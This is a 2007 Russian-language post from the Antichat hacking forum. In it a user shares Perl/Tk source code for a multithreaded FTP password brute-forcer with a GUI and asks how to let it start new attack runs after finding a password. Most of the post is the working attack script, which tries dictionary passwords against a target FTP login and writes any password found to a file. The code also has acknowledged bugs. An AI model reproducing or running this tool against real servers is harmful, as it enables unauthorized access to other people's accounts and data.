Показать сообщение отдельно

Multithread FTP Bruter Tk/GUI
  #14  
Старый 13.12.2007, 01:47
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


Red face Multithread FTP Bruter Tk/GUI

Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
Собственно сам код
Код:
#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);

$main=MainWindow->new(-title => 'FTP bruter by Spyder'); 
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
                      -textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute', 
              -width=> '80',
              -height=> '1',
              -font => 'courier',
              -command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
              -command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right'); 
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
	$fo = $main->getOpenFile(); 
}       
MainLoop;
sub Brute
{
        $thr = int($thrd->get);
        $file = $dicfile->get;
        $fsave = $save->get;
        open (SRC, "<$file") or die "Can't open:$!";
        Next:
        @pass = pass();
        my @trl;
        for(0..$thr) 
        { 
	        $trl[$_] = threads->create(\&Brut, $_); 
	}
        for(0..$thr)
        {
	        $trl[$_]->join
        }
                    
        sub Brut
        {
                while (@pass) {
                        $pass = shift @pass;
                        $fsave = $save->get;
                        $ip = $addr->get;
                        $log_in = $login->get;
                        $ftp = Net::FTP->new($ip);           
                        $ok = $ftp->login($log_in,$pass) or exit "$!";
                        if ($ok) 
                        {
                        	open (SAVE, ">>$fsave") or exit "Can't save:$!";
                        	print SAVE "Password for $ip is $pass\n";
                        	close (SAVE);
                        	exit;
                        }
        }
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
	open (SAVE, ">>$fsave") or die "Can't save:$!";
	print SAVE "Password not found\n";
	close (SAVE);
	exit;
} else {
return @mas;
}
}
}
Не знаю то ли это чего вы ждали, но оно всё же работает =))

Последний раз редактировалось Spyder; 13.12.2007 в 02:07..
 
Ответить с цитированием